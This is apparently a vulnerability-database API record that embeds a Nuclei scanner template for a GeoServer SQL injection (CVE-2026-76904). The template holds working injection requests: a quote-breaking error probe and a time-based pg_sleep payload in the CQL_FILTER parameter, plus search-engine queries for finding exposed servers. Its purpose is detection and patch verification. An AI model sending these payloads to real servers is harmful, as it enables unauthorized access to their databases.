{ "_links": { "capec": { "href": "/api/v1/vulnerability/cve-2026-76904/capec" }, "cvss": { "href": "/api/v1/vulnerability/cve-2026-76904/cvss" }, "cwe": { "href": "/api/v1/vulnerability/cve-2026-76904/cwe" }, "enrichment": { "href": "/api/v1/vulnerability/cve-2026-76904/enrichment" }, "gcve": { "href": "/api/v1/vulnerability/cve-2026-76904/gcve" }, "self": { "href": "/api/v1/vulnerability/cve-2026-76904" }, "sightings": { "href": "/api/v1/sightings/cve-2026-76904" } }, "data": { "nuclei": true, "nuclei_template": "http/cves/2026/CVE-2026-76904.yaml", "nuclei_template_severity": "critical", "nuclei_template_yaml": "id: CVE-2026-76904\n\ninfo:\n name: GeoServer jsonArrayContains CQL Filter - SQL Injection\n author: portbuster1337,DhiyaneshDk\n severity: critical\n description: |\n GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Patches are available in GeoTools 33.6 and 34.5. No known workaround is available, so the scope can only be limited by restricting which CQL functions are exposed.\n impact: |\n Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries against the PostGIS database, potentially leading to full database exfiltration, data manipulation, or remote code execution on the database server via COPY TO PROGRAM.\n remediation: |\n Upgrade GeoTools to version 33.6 or 34.5, or a GeoServer release that bundles one of them.\n reference:\n - https://gist.github.com/portbuster1337/70d75ec246b85e3199037ce212ff1a06\n - https://nvd.nist.gov/vuln/detail/CVE-2026-76904\n - https://github.com/geotools/geotools/commit/d821c4d321dd91c22e31fcd5b1ce676645da5176\n - https://github.com/geotools/geotools/pull/5829\n - https://github.com/geotools/geotools/releases/tag/33.6\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-76904\n cwe-id: CWE-89\n epss-score: 0.03976\n epss-percentile: 0.90521\n cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*\n metadata:\n verified: \"true\"\n max-request: 6\n vendor: osgeo\n product: geoserver\n shodan-query:\n - title:\"geoserver\"\n - http.title:\"geoserver\"\n fofa-query:\n - title=\"geoserver\"\n - app=\"geoserver\"\n google-query: intitle:\"geoserver\"\n tags: cve,cve2026,geoserver,sqli,jsonarraycontains,postgresql,osgeo,vkev\n\nflow: |\n set(\"ctx\", \"/geoserver\");\n http(\"detect\");\n if (!template[\"geoserver_detected\"]) {\n set(\"ctx\", \"\");\n http(\"detect\");\n }\n if (template[\"geoserver_detected\"]) {\n http(\"capabilities\");\n for (var name of iterate(template[\"feature_names\"])) {\n set(\"name\", name);\n set(\"column\", \"\");\n http(\"get-column\");\n if (template[\"column\"]) {\n if (http(\"sqli-verify\")) {\n break;\n }\n if (http(\"sqli-time\")) {\n break;\n }\n }\n }\n }\n\nhttp:\n - id: detect\n raw:\n - |\n GET {{ctx}}/web/ HTTP/1.1\n Host: {{Hostname}}\n\n redirects: true\n max-redirects: 3\n\n matchers:\n - type: word\n words:\n - \"GeoServer\"\n internal: true\n\n extractors:\n - type: regex\n name: geoserver_detected\n regex:\n - '(GeoServer)'\n group: 1\n internal: true\n part: body\n\n - id: capabilities\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1\n Host: {{Hostname}}\n\n\n matchers:\n - type: word\n words:\n - \"FeatureType\"\n internal: true\n\n extractors:\n - type: regex\n name: feature_names\n regex:\n - '(?s)]*>\\s*([^<]+)'\n group: 1\n internal: true\n part: body\n\n - id: get-column\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=1&outputFormat=csv HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: word\n words:\n - \"FID\"\n internal: true\n\n extractors:\n - type: regex\n name: column\n regex:\n - 'FID,([a-zA-Z_][a-zA-Z0-9_]*)'\n group: 1\n internal: true\n part: body\n\n - id: sqli-verify\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%27%27%27)%20=%20true HTTP/1.1\n Host: {{Hostname}}\n\n stop-at-first-match: true\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"PSQLException\"\n - \"SQL SELECT\"\n - \"jsonb_path_exists\"\n - \"syntax error\"\n - \"unterminated quoted string\"\n condition: or\n\n - type: word\n part: header\n words:\n - \"text/xml\"\n\n extractors:\n - type: dsl\n name: matched_feature\n dsl:\n - \"name\"\n - type: kval\n kval:\n - content_type\n\n - id: sqli-time\n raw:\n - |\n @timeout: 30s\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%22)%27%27)%20AND%20(SELECT%20pg_sleep(6))%20IS%20NOT%20NULL%20)--%27)%20=%20true HTTP/1.1\n Host: {{Hostname}}\n\n stop-at-first-match: true\n\n matchers:\n - type: dsl\n dsl:\n - \"duration>=6\"\n\n extractors:\n - type: dsl\n name: matched_feature\n dsl:\n - \"name\"\n# digest: 4a0a00473045022032d671b8dde1a2b649a96539e114fd553d5a736518cd1e3cc5a8c3ba7f907bad022100885c40c373979c92dad721c923b5610e5eef26d47283ef4f7d307bfb72355a63:922c64590222798bb761d5b6d8e72950" }, "source": "nuclei", "vuln_id": "cve-2026-76904" }